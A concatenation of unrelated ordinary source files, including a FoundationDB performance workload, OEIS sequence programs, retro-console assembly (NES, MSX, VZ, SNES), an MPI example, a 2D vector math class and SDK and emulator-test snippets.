) ); m.push_back( PerfMetric( "Saturation Median Latency (average, ms)", latencySaturation.value(), false ) ); } } Standalone< VectorRef< VectorRef< KeyValueRef >>> getOpts( double transactionsPerSecond ) { Standalone<VectorRef< KeyValueRef >> options; Standalone< VectorRef< VectorRef< KeyValueRef > > > opts; options.push_back_deep( options.arena(), KeyValueRef( LiteralStringRef("testName"), probeWorkload ) ); options.push_back_deep( options.arena(), KeyValueRef( LiteralStringRef("transactionsPerSecond"), format("%f", transactionsPerSecond) ) ); for(int i=0; i < savedOptions.size(); i++) { options.push_back_deep( options.arena(), savedOptions[i] ); printf("option [%d]: '%s'='%s'\n", i, printable( savedOptions[i].key ).c_str(), printable( savedOptions[i].value ).c_str() ); } opts.push_back_deep( opts.arena(), options ); return opts; } void logOptions( Standalone< VectorRef< VectorRef< KeyValueRef > > > options ) { TraceEvent start("PerformaceSetupStarting"); for(int i = 0; i < options.size(); i++) { for(int j = 0; j < options[i].size(); j++) { start.detail(format("Option-%d-%d", i, j).c_str(), printable( options[i][j].key ) + "=" + printable( options[i][j].value ) ); } } } //FIXME: does not use testers which are recruited on workers ACTOR Future<vector<TesterInterface>> getTesters( PerformanceWorkload *self) { state vector<WorkerDetails> workers; loop { choose { when( vector<WorkerDetails> w = wait( brokenPromiseToNever( self->dbInfo->get().clusterInterface.getWorkers.getReply( GetWorkersRequest( GetWorkersRequest::TESTER_CLASS_ONLY | GetWorkersRequest::NON_EXCLUDED_PROCESSES_ONLY ) ) ) ) ) { workers = w; break; } when( wait( self->dbInfo->onChange() ) ) {} } } vector<TesterInterface> ts; for(int i=0; i<workers.size(); i++) ts.push_back(workers[i].interf.testerInterface); return ts; } ACTOR Future<Void> _setup( Database cx, PerformanceWorkload *self ) { state Standalone< VectorRef< VectorRef< KeyValueRef > > > options = self->getOpts( 1000.0 ); self->logOptions( options ); vector<TesterInterface> testers = wait( self->getTesters( self ) ); self->testers = testers; TestSpec spec( LiteralStringRef("PerformanceSetup"), false, false ); spec.options = options; spec.phases = TestWorkload::SETUP; DistributedTestResults results = wait( runWorkload( cx, testers, spec ) ); return Void(); } PerfMetric getNamedMetric( std::string name, vector<PerfMetric> metrics ) { for(int i=0; i < metrics.size(); i++) { if( metrics[i].name() == name ) { return metrics[i]; } } return PerfMetric(); } ACTOR Future<Void> getSaturation( Database cx, PerformanceWorkload *self ) { state double tps = 400; state bool reported = false; state bool retry = false; state double multiplier = 2.0; loop { Standalone< VectorRef< VectorRef< KeyValueRef > > > options = self->getOpts( tps ); TraceEvent start("PerformaceProbeStarting"); start.detail("RateTarget", tps); for(int i = 0; i < options.size(); i++) { for(int j = 0; j < options[i].size(); j++) { start.detail(format("Option-%d-%d", i, j).c_str(), printable( options[i][j].key ) + "=" + printable( options[i][j].value ) ); } } state DistributedTestResults results; try { TestSpec spec( LiteralStringRef("PerformanceRun"), false, false ); spec.phases = TestWorkload::EXECUTION | TestWorkload::METRICS; spec.options = options; DistributedTestResults r = wait( runWorkload( cx, self->testers, spec ) ); results = r; } catch(Error& e) { TraceEvent("PerformanceRunError").error(e, true).detail("Workload", printable(self->probeWorkload)); break; } PerfMetric tpsMetric = self->getNamedMetric( "Transactions/sec", results.metrics ); PerfMetric latencyMetric = self->getNamedMetric( "Median Latency (ms, averaged)", results.metrics ); logMetrics( results.metrics ); if( !reported || self->latencyBaseline.value() > latencyMetric.value() ) self->latencyBaseline = latencyMetric; if( !reported || self->maxAchievedTPS.value() < tpsMetric.value() ) { self->maxAchievedTPS = tpsMetric; self->latencySaturation = latencyMetric; self->metrics = results.metrics; } reported = true; TraceEvent evt("PerformanceProbeComplete"); evt.detail("RateTarget", tps).detail("AchievedRate", tpsMetric.value()) .detail("Multiplier", multiplier).detail("Retry", retry); if( tpsMetric.value() < (tps * .95) - 100 ) { evt.detail("LimitReached", 1); if( !retry ) { retry = true; } else if( multiplier < 2.0 ) { evt.detail("Saturation", "final"); return Void(); } else { tps /= 2; multiplier = 1.189; retry = false; } } else { retry = false; } tps *= retry ? 1.0 : multiplier; } return Void(); } ACTOR Future<Void> _start( Database cx, PerformanceWorkload *self ) { wait( self->getSaturation( cx, self ) ); TraceEvent("PerformanceSaturation").detail("SaturationRate", self->maxAchievedTPS.value()) .detail("SaturationLatency", self->latencySaturation.value()); return Void(); } }; WorkloadFactory<PerformanceWorkload> PerformanceWorkloadFactory("Performance");
;***************************************************** ; ; Video Technology library for small C compiler ; ; Juergen Buchmueller ; ;***************************************************** ; ----- void vz_clrscr(void) XLIB vz_clrscr .vz_clrscr ; almost same as clg() except ROM call might behave differently ; for text mode and won't set graphics mode jp $01c9 ; clear screen
; A203431: v(n+1)/v(n), where v=A203418. ; Submitted by Jon Maiga ; 2,3,30,72,1440,4536,142560,544320,23950080,106142400,6107270400,30569011200,2198617344000,12197035468800,1061932177152000,6440034727526400,662645678542848000,4347023441080320000 add $0,1 mov $3,1 lpb $0 sub $0,1 mov $1,$0 gcd $1,2 add $2,$1 mul $3,$2 lpe mov $0,$3
/* * Copyright (c) 2015 RISC-V Foundation * Copyright (c) 2017 The University of Virginia * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer; * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution; * neither the name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * Authors: Alec Roelke */ #include "arch/riscv/insts/compressed.hh" #include <sstream> #include <string> #include "arch/riscv/utility.hh" #include "cpu/static_inst.hh" namespace RiscvISA { std::string CompRegOp::generateDisassembly(Addr pc, const SymbolTable *symtab) const { std::stringstream ss; ss << mnemonic << ' ' << registerName(_destRegIdx[0]) << ", " << registerName(_srcRegIdx[0]); return ss.str(); } }
%include "debug.asm" section .rodata red: db "RED", 0 orange: db "ORANGE", 0 yellow: db "YELLOW", 0 green: db "GREEN", 0 blue: db "BLUE", 0 indigo: db "INDIGO", 0 violet: db "VIOLET", 0 array: dq red, orange, yellow, green, blue, indigo, violet section .text global color_name color_name: mov edi, edi lea rax, [rel array] mov rax, [rax + rdi * 8] ret
// Copyright (c) 2011-2018 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "editaddressdialog.h" #include <qt/forms/ui_editaddressdialog.h> #include <qt/addresstablemodel.h> #include <qt/guiutil.h> #include <QDataWidgetMapper> #include <QMessageBox> EditAddressDialog::EditAddressDialog(Mode _mode, QWidget *parent) : QDialog(parent), ui(new Ui::EditAddressDialog), mapper(0), mode(_mode), model(0) { ui->setupUi(this); GUIUtil::setupAddressWidget(ui->addressEdit, this); switch(mode) { case NewReceivingAddress: setWindowTitle(tr("New receiving address")); ui->lblAddressText->hide(); ui->addressEdit->hide(); break; case NewSendingAddress: setWindowTitle(tr("New sending address")); break; case NewStakeAddress: setWindowTitle(tr("New Stake address")); ui->lblAddressText->hide(); ui->addressEdit->hide(); break; case NewColdStakeAddress: setWindowTitle(tr("New ColdStake address")); ui->lblAddressText->hide(); ui->addressEdit->hide(); break; case EditReceivingAddress: setWindowTitle(tr("Edit receiving address")); ui->addressEdit->setEnabled(false); break; case EditSendingAddress: setWindowTitle(tr("Edit sending address")); break; } mapper = new QDataWidgetMapper(this); mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit); GUIUtil::ItemDelegate* delegate = new GUIUtil::ItemDelegate(mapper); connect(delegate, &GUIUtil::ItemDelegate::keyEscapePressed, this, &EditAddressDialog::reject); mapper->setItemDelegate(delegate); } EditAddressDialog::~EditAddressDialog() { delete ui; } void EditAddressDialog::setModel(AddressTableModel *_model) { this->model = _model; if(!_model) return; mapper->setModel(_model); mapper->addMapping(ui->labelEdit, AddressTableModel::Label); mapper->addMapping(ui->addressEdit, AddressTableModel::Address); } void EditAddressDialog::loadRow(int row) { mapper->setCurrentIndex(row); } bool EditAddressDialog::saveCurrentRow() { if(!model) return false; switch(mode) { case NewReceivingAddress: case NewStakeAddress: case NewColdStakeAddress: address = model->addRow( AddressTableModel::Receive, ui->labelEdit->text(), ui->addressEdit->text(), model->GetDefaultAddressType(), mode == NewReceivingAddress ? AddressTableModel::ADDR_STEALTH : mode == NewStakeAddress ? AddressTableModel::ADDR_STANDARD : AddressTableModel::ADDR_STANDARD256); break; case NewSendingAddress: address = model->addRow( AddressTableModel::Send, ui->labelEdit->text(), ui->addressEdit->text(), model->GetDefaultAddressType()); break; case EditReceivingAddress: case EditSendingAddress: if(mapper->submit()) { address = ui->addressEdit->text(); } break; } return !address.isEmpty(); } void EditAddressDialog::accept() { if(!model) return; if(!saveCurrentRow()) { switch(model->getEditStatus()) { case AddressTableModel::OK: // Failed with unknown reason. Just reject. break; case AddressTableModel::NO_CHANGES: // No changes were made during edit operation. Just reject. break; case AddressTableModel::INVALID_ADDRESS: QMessageBox::warning(this, windowTitle(), tr("The entered address \"%1\" is not a valid Bitcoin Confidential address.").arg(ui->addressEdit->text()), QMessageBox::Ok, QMessageBox::Ok); break; case AddressTableModel::DUPLICATE_ADDRESS: QMessageBox::warning(this, windowTitle(), getDuplicateAddressWarning(), QMessageBox::Ok, QMessageBox::Ok); break; case AddressTableModel::WALLET_UNLOCK_FAILURE: QMessageBox::critical(this, windowTitle(), tr("Could not unlock wallet."), QMessageBox::Ok, QMessageBox::Ok); break; case AddressTableModel::KEY_GENERATION_FAILURE: QMessageBox::critical(this, windowTitle(), tr("New key generation failed."), QMessageBox::Ok, QMessageBox::Ok); break; } return; } QDialog::accept(); } QString EditAddressDialog::getDuplicateAddressWarning() const { QString dup_address = ui->addressEdit->text(); QString existing_label = model->labelForAddress(dup_address); QString existing_purpose = model->purposeForAddress(dup_address); if (existing_purpose == "receive" && (mode == NewSendingAddress || mode == EditSendingAddress)) { return tr( "Address \"%1\" already exists as a receiving address with label " "\"%2\" and so cannot be added as a sending address." ).arg(dup_address).arg(existing_label); } return tr( "The entered address \"%1\" is already in the address book with " "label \"%2\"." ).arg(dup_address).arg(existing_label); } QString EditAddressDialog::getAddress() const { return address; } void EditAddressDialog::setAddress(const QString &_address) { this->address = _address; ui->addressEdit->setText(_address); }
; Startup code for cc65 and Shiru's NES library ; based on code by Groepaz/Hitmen <groepaz@gmx.net>, Ullrich von Bassewitz <uz@cc65.org> FT_DPCM_OFF = $c000 ;$c000..$ffc0, 64-byte steps FT_SFX_STREAMS = 4 ;number of sound effects played at once, 1..4 .define FT_DPCM_ENABLE 1 ;undefine to exclude all DMC code .define FT_SFX_ENABLE 1 ;undefine to exclude all sound effects code .include "lib/mmc1_macros.asm" .export _exit,__STARTUP__:absolute=1 .export _FRAME_COUNTER .import initlib,push0,popa,popax,_main,zerobss,copydata ; Linker generated symbols .import __RAM_START__ ,__RAM_SIZE__ .import __ROM0_START__ ,__ROM0_SIZE__ .import __STARTUP_LOAD__,__STARTUP_RUN__,__STARTUP_SIZE__ .import __CODE_LOAD__ ,__CODE_RUN__ ,__CODE_SIZE__ .import __RODATA_LOAD__ ,__RODATA_RUN__ ,__RODATA_SIZE__ .import NES_MAPPER,NES_PRG_BANKS,NES_CHR_BANKS,NES_MIRRORING .include "tools/cc65/asminc/zeropage.inc" FT_BASE_ADR =$0100 ;page in RAM, should be $xx00 .define FT_THREAD 1 ;undefine if you call sound effects in the same thread as sound update .define FT_PAL_SUPPORT 1 ;undefine to exclude PAL support .define FT_NTSC_SUPPORT 1 ;undefine to exclude NTSC support PPU_CTRL =$2000 PPU_MASK =$2001 PPU_STATUS =$2002 PPU_OAM_ADDR=$2003 PPU_OAM_DATA=$2004 PPU_SCROLL =$2005 PPU_ADDR =$2006 PPU_DATA =$2007 PPU_OAM_DMA =$4014 PPU_FRAMECNT=$4017 DMC_FREQ =$4010 CTRL_PORT1 =$4016 CTRL_PORT2 =$4017 OAM_BUF =$0200 PAL_BUF =$01c0 .segment "ZEROPAGE" NTSC_MODE: .res 1 _FRAME_COUNTER: FRAME_CNT1: .res 1 FRAME_CNT2: .res 1 VRAM_UPDATE: .res 1 NAME_UPD_ADR: .res 2 NAME_UPD_ENABLE: .res 1 PAL_UPDATE: .res 1 PAL_BG_PTR: .res 2 PAL_SPR_PTR: .res 2 SCROLL_X: .res 1 SCROLL_Y: .res 1 SCROLL_X1: .res 1 SCROLL_Y1: .res 1 PAD_STATE: .res 2 ;one byte per controller PAD_STATEP: .res 2 PAD_STATET: .res 2 PPU_CTRL_VAR: .res 1 PPU_CTRL_VAR1: .res 1 PPU_MASK_VAR: .res 1 RAND_SEED: .res 2 BP_BANK: .res 1 BP_BANK_TEMP: .res 1 FT_TEMP: .res 3 TEMP: .res 11 PAD_BUF =TEMP+1 PTR =TEMP ;word LEN =TEMP+2 ;word NEXTSPR =TEMP+4 SCRX =TEMP+5 SCRY =TEMP+6 SRC =TEMP+7 ;word DST =TEMP+9 ;word RLE_LOW =TEMP RLE_HIGH =TEMP+1 RLE_TAG =TEMP+2 RLE_BYTE =TEMP+3 .segment "HEADER" .byte "NES",$1a .byte <NES_PRG_BANKS .byte <NES_CHR_BANKS .byte $12 .byte 0 .res 8,0 .segment "STARTUP" start: _exit: sei ldx #$ff txs inx stx PPU_MASK stx DMC_FREQ stx PPU_CTRL ;no NMI initPPU: bit PPU_STATUS @1: bit PPU_STATUS bpl @1 @2: bit PPU_STATUS bpl @2 clearPalette: lda #$3f sta PPU_ADDR stx PPU_ADDR lda #$0f ldx #$20 @1: sta PPU_DATA dex bne @1 clearVRAM: txa ldy #$20 sty PPU_ADDR sta PPU_ADDR ldy #$10 @1: sta PPU_DATA inx bne @1 dey bne @1 clearRAM: txa @1: sta $000,x sta $100,x sta $200,x sta $300,x sta $400,x sta $500,x sta $600,x sta $700,x inx bne @1 lda #4 jsr _pal_bright jsr _pal_clear jsr _oam_clear jsr zerobss jsr copydata lda #<(__RAM_START__+__RAM_SIZE__) sta sp lda #>(__RAM_START__+__RAM_SIZE__) sta sp+1 ; Set argument stack ptr jsr initlib lda #%10000000 sta <PPU_CTRL_VAR sta PPU_CTRL ;enable NMI lda #%00000110 sta <PPU_MASK_VAR waitSync3: lda <FRAME_CNT1 @1: cmp <FRAME_CNT1 beq @1 detectNTSC: ldx #52 ;blargg's code ldy #24 @1: dex bne @1 dey bne @1 lda PPU_STATUS and #$80 sta <NTSC_MODE jsr _ppu_off lda #0 ldx #0 jsr _set_vram_update ldx #<music_data ldy #>music_data lda <NTSC_MODE jsr FamiToneInit .if(FT_SFX_ENABLE) ldx #<sounds_data ldy #>sounds_data jsr FamiToneSfxInit .endif lda #$fd sta <RAND_SEED sta <RAND_SEED+1 lda #0 sta PPU_SCROLL sta PPU_SCROLL lda #%11111 mmc1_register_write MMC1_CTRL lda #0 mmc1_register_write MMC1_PRG mmc1_register_write MMC1_CHR0 jmp _main ;no parameters .include "lib/neslib.asm" .include "lib/boilerplate.asm" .include "levels/all.asm" .segment "RODATA" music_data: .include "sound/music.s" .if(FT_SFX_ENABLE) sounds_data: .include "sound/sfx.s" .endif .segment "SAMPLES" ;.incbin "music_dpcm.bin" .segment "CHR_0" .incbin "graphics/ascii.chr" .segment "CHR_1" .incbin "graphics/game.chr" ; MMC1 needs a reset stub in every bank that will put us into a known state. This defines it for all banks. .repeat $03, I resetstub_in .concat("STUB_", .sprintf("%02X", I)) .endrepeat resetstub_in "STUB_PRG" ; Throw a single jmp to reset in every bank other than the main PRG bank. This accomplishes 2 things: ; 1) Puts something in the bank, so we avoid warnings ; 2) If we somehow end up here by accident, we'll reset correctly. .macro first_byte_reset_in segname .segment segname jmp start .endmacro .repeat $03, I first_byte_reset_in .concat("ROM_", .sprintf("%02X", I)) .endrepeat
#include "mpi.h" #include <stdio.h> int main(int argc, char *argv[]) { int rank, size, i; int buffer[10]; MPI_Status status; MPI_Init(&argc, &argv); MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &rank); if (size < 2) { printf("Please run with two processes.\n");fflush(stdout); MPI_Finalize(); return 0; } if (rank == 0) { for (i=0; i<10; i++) buffer[i] = i; MPI_Send(buffer, 10, MPI_INT, 1, 123, MPI_COMM_WORLD); } if (rank == 1) { for (i=0; i<10; i++) buffer[i] = -1; MPI_Recv(buffer, 10, MPI_INT, 0, 123, MPI_COMM_WORLD, &status); for (i=0; i<10; i++) { //if (buffer[i] != i) printf("Ok: buffer[%d] = % d equal with expected value %d\n", i, buffer[i], i); } fflush(stdout); } MPI_Finalize(); return 0; } /* #include <mpi.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) { const int PING_PONG_LIMIT = 10; // Initialize the MPI environment MPI_Init(NULL, NULL); // Find out rank, size int world_rank; MPI_Comm_rank(MPI_COMM_WORLD, &world_rank); int world_size; MPI_Comm_size(MPI_COMM_WORLD, &world_size); // We are assuming at least 2 processes for this task if (world_size != 2) { fprintf(stderr, "World size must be two for %s\n", argv[0]); MPI_Abort(MPI_COMM_WORLD, 1); } int ping_pong_count = 0; int partner_rank = (world_rank + 1) % 2; while (ping_pong_count < PING_PONG_LIMIT) { if (world_rank == ping_pong_count % 2) { // Increment the ping pong count before you send it ping_pong_count++; MPI_Send(&ping_pong_count, 1, MPI_INT, partner_rank, 0, MPI_COMM_WORLD); printf("%d sent and incremented ping_pong_count %d to %d\n", world_rank, ping_pong_count, partner_rank); } else { MPI_Recv(&ping_pong_count, 1, MPI_INT, partner_rank, 0, MPI_COMM_WORLD, MPI_STATUS_IGNORE); printf("%d received ping_pong_count %d from %d\n", world_rank, ping_pong_count, partner_rank); } } MPI_Finalize(); }*/
; $00 = map16 tile get_act_like: LDA $06F624 STA $02 LDA $06F625 STA $03 LDA $06F626 STA $04 REP #$30 LDA $00 AND #$3FFF ASL TAY LDA [$02],y STA $00 SEP #$30 RTS
; A081367: E.g.f.: exp(2*x)/sqrt(1-2*x). ; Submitted by Jamie Morken(s2) ; 1,3,11,53,345,2947,31411,400437,5927921,99816515,1882741659,39310397557,899919305929,22410922177347,603120939234755,17441737474345973,539390080299331809,17762381612118471043,620529594188028865579,22921762697260595842485,892632021429394235757881,36549435905683104470190083,1569743525955670585354891731,70561595360216404318303184053,3313101768262682117744205979345,162194277026816013190397399277507,8264986505594980487316641563773371,437706052996935061430613956482674677 mul $0,2 mov $1,1 lpb $0 sub $0,2 sub $2,$1 mul $1,2 sub $1,$2 mul $2,$0 lpe mov $0,$1
; A117472: Values of c in a^2 + b^2 = c^2, where b - a = 17 and gcd(a,b,c)=1. ; Submitted by Jon Maiga ; 25,53,137,305,797,1777,4645,10357,27073,60365,157793,351833,919685,2050633,5360317,11951965,31242217,69661157,182092985,406014977,1061315693,2366428705,6185801173,13792557253,36053491345 mov $2,1 lpb $0 sub $0,1 add $1,12 mov $3,$0 add $3,$0 add $3,2 mod $3,4 mul $3,$2 add $1,$3 add $2,$1 lpe add $2,$1 mov $0,$2 add $0,24
;; ;; Copyright (c) 2020-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %define NUM_LANES 8 %define AES_CBC_ENC_X4 aes_cbc_enc_256_x8_sse %define FLUSH_JOB_AES_ENC flush_job_aes256_enc_x8_sse %include "sse/mb_mgr_aes_flush_sse.asm"
; Thing version section thing xdef th_vers ; V0.01 First release version. ; ; V0.02 SMS.UTHG now returns version ID in D3 rather than smashing a bit of ; supervisor stack. ; ; V0.03 TH_REMOV vectored routine is now allowed to smash A2, just ; as it says in the document ; ; V0.04 Names no longer lowercased, checkbyte set in block. ; SMS.LTHG does not now smash D2, A1 and A2. ; ; V.05 ERR.NIMP from UTHG does not leave thing used. ; th_vers equ '0.05' end
#include "Vector2.h" Vector2::Vector2(void) { x = 0.0f; y = 0.0f; } Vector2::Vector2(const Vector2& v) { x = v.x; y = v.y; } Vector2::Vector2(float vx, float vy) { x = vx; y = vy; } bool Vector2::operator == (const Vector2& v) const { if ((FLOAT_EQUAL(x, v.x) == false) || (FLOAT_EQUAL(y, v.y) == false)) { return false; } return true; } bool Vector2::operator != (const Vector2& v) const { if ((FLOAT_EQUAL(x, v.x) == false) || (FLOAT_EQUAL(y, v.y) == false)) { return true; } return false; } Vector2& Vector2::operator = (const Vector2& v) { x = v.x; y = v.y; return *this; } Vector2& Vector2::operator += (const Vector2& v) { x += v.x; y += v.y; return *this; } Vector2& Vector2::operator -= (const Vector2& v) { x -= v.x; y -= v.y; return *this; } Vector2& Vector2::operator *= (const Vector2& v) { x *= v.x; y *= v.y; return *this; } Vector2& Vector2::operator /= (const Vector2& v) { x = FLOAT_DIV(x, v.x); y = FLOAT_DIV(y, v.y); return *this; } Vector2 Vector2::operator + (const Vector2& v) const { Vector2 ret(*this); ret.x += v.x; ret.y += v.y; return ret; } Vector2 Vector2::operator - (const Vector2& v) const { Vector2 ret(*this); ret.x -= v.x; ret.y -= v.y; return ret; } Vector2 Vector2::operator * (const Vector2& v) const { Vector2 ret(*this); ret.x *= v.x; ret.y *= v.y; return ret; } Vector2 Vector2::operator / (const Vector2& v) const { Vector2 ret(*this); ret.x = FLOAT_DIV(ret.x, v.x); ret.y = FLOAT_DIV(ret.y, v.y); return ret; } Vector2 Vector2::operator +(void) const { return *this; } Vector2 Vector2::operator -(void) const { return (*this * -1.0f); } Vector2 Vector2::operator * (float s) const { Vector2 ret(*this); ret.x *= s; ret.y *= s; return ret; } Vector2 Vector2::operator / (float s) const { Vector2 ret; if (FLOAT_IS_ZERO(s) == true) { ret.x = 0.0f; ret.y = 0.0f; } else { float invS = 1.0f / s; ret.x = x * invS; ret.y = y * invS; } return ret; } Vector2& Vector2::operator *= (float s) { x *= s; y *= s; return *this; } Vector2& Vector2::operator /= (float s) { if (FLOAT_IS_ZERO(s) == true) { x = 0.0f; y = 0.0f; } else { float invS = 1.0f / s; x *= invS; y *= invS; } return *this; } void Vector2::Set(float vx, float vy) { x = vx; y = vy; } float Vector2::Normalize(void) { float length = GetLength(); if (FLOAT_IS_ZERO(length) == true) { x = 0.0f; y = 0.0f; } else { float invLength = (1.0f / length); x *= invLength; y *= invLength; } return length; } Vector2 Vector2::ToNormalize(float* pLength) const { Vector2 ret(*this); if (pLength == nullptr) { ret.Normalize(); } else { *pLength = ret.Normalize(); } return ret; } void Vector2::Saturate(void) { x = CLAMP(x, 0.0f, 1.0f); y = CLAMP(y, 0.0f, 1.0f); } Vector2 Vector2::ToSaturate(void) const { Vector2 ret(*this); ret.Saturate(); return ret; } float Vector2::GetLengthSqr(void) const { return (x * x) + (y * y); } float Vector2::GetLength(void) const { return sqrtf((x * x) + (y * y)); } float Vector2::GetLengthF(void) const { return sqrtf((x * x) + (y * y)); } float Vector2::Dot(const Vector2& l, const Vector2& r) { return (l.x * r.x) + (l.y * r.y); } float Vector2::Cross(const Vector2& l, const Vector2& r) { float x2y3 = (l.x * r.y); float y2x3 = (l.y * r.x); return x2y3 - y2x3; } Vector2 Vector2::Minimum(const Vector2& v0, const Vector2& v1) { Vector2 v; v.x = MINIMUM(v0.x, v1.x); v.y = MINIMUM(v0.y, v1.y); return v; } Vector2 Vector2::Maximum(const Vector2& v0, const Vector2& v1) { Vector2 v; v.x = MAXIMUM(v0.x, v1.x); v.y = MAXIMUM(v0.y, v1.y); return v; } Vector2 Vector2::Lerp(const Vector2& vs, const Vector2& ve, float t) { float tt = CLAMP(t, 0.0f, 1.0f); return (vs * (1.0f - tt)) + (ve * tt); } Vector2 Vector2::Slerp(const Vector2& vs, const Vector2& ve, float t) { Vector2 s = vs.ToNormalize(); Vector2 e = ve.ToNormalize(); float angle = acosf(MINIMUM(1.0f, Dot(s, e))); float sinTh = sinf(angle); float invSinTh = FLOAT_RECIPROCAL(sinTh); float Ps = sinf(angle * (1.0f - t)); float Pe = sinf(angle * t); return ((Ps * s + Pe * e) * invSinTh).ToNormalize(); }
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/aegis/model/ModifyMachineConfigResult.h> #include <json/json.h> using namespace AlibabaCloud::Aegis; using namespace AlibabaCloud::Aegis::Model; ModifyMachineConfigResult::ModifyMachineConfigResult() : ServiceResult() {} ModifyMachineConfigResult::ModifyMachineConfigResult(const std::string &payload) : ServiceResult() { parse(payload); } ModifyMachineConfigResult::~ModifyMachineConfigResult() {} void ModifyMachineConfigResult::parse(const std::string &payload) { Json::Reader reader; Json::Value value; reader.parse(payload, value); setRequestId(value["RequestId"].asString()); }
%ifdef CONFIG { "RegData": { "R14": "0x0", "R13": "0x0", "R12": "0x0", "R11": "0x0" } } %endif mov r15, 0xe0000000 mov rax, 0x4142434445464748 mov [r15 + 8 * 0], rax mov [r15 + 8 * 1], rax mov [r15 + 8 * 2], rax mov [r15 + 8 * 3], rax mov [r15 + 8 * 4], rax mov [r15 + 8 * 5], rax mov [r15 + 8 * 6], rax ; Ensures that all the flag setting matches correctly inc word [r15 + 8 * 0 + 0] mov rax, 0 mov r14, 0 lahf mov r14, rax lock inc word [r15 + 8 * 1 + 0] mov rax, 0 lahf xor r14, rax inc dword [r15 + 8 * 2 + 0] mov rax, 0 mov r13, 0 lahf mov r13, rax lock inc dword [r15 + 8 * 3 + 0] mov rax, 0 lahf xor r13, rax inc qword [r15 + 8 * 4 + 0] mov rax, 0 mov r12, 0 lahf mov r12, rax lock inc qword [r15 + 8 * 5 + 0] mov rax, 0 lahf xor r12, rax inc byte [r15 + 8 * 4 + 0] mov rax, 0 mov r11, 0 lahf mov r11, rax lock inc byte [r15 + 8 * 5 + 0] mov rax, 0 lahf xor r11, rax hlt
;code:utf-8 ;PLAEYER.COM #This is a program only on Hopstepz. ;@Harumakkin ; MGSDRV's sub-routines MGS_SYSCK := 0x6010 MGS_INITM := 0x6013 MGS_PLYST := 0x6016 MGS_INTER := 0x601f MGS_MSVST := 0x6022 MGS_DATCK := 0x6028 ; Hopstepz sub-routines ST16MS := 0x0039 WT16MS := 0x003A org 0x100 scope playermgs begin: di ld a, 4 out [0xfd], a call MGS_SYSCK call MGS_INITM volume_max: xor a,a ld b,0 call MGS_MSVST start_play: ld de, 0x8000 ld b, 0xff ld hl, 0xffff call MGS_PLYST ei ; H.TIM を使用せずに、メインループ内でMGSDRVのMGS_INTERを周期的に呼び出す。 ; ST16MSとWT16MSは16msの間隔を作り出す処理で、ST16MSを呼び出してからWT16MSの呼び出しが、 ; 16ms経過していない場合は16msが経過するようにWT16MS内でsleep()を呼び出す。 ; ST16MSとWT16MSはHopstepz の独自実装処理です。 loop: call ST16MS call MGS_INTER call WT16MS jr loop endscope ; playermgs
; A298728: EBCDIC codes for upper case letters. ; 193,194,195,196,197,198,199,200,201,209,210,211,212,213,214,215,216,217,226,227,228,229,230,231,232,233 mov $1,$0 div $1,9 lpb $1 add $0,$1 add $0,6 sub $1,1 lpe add $0,193
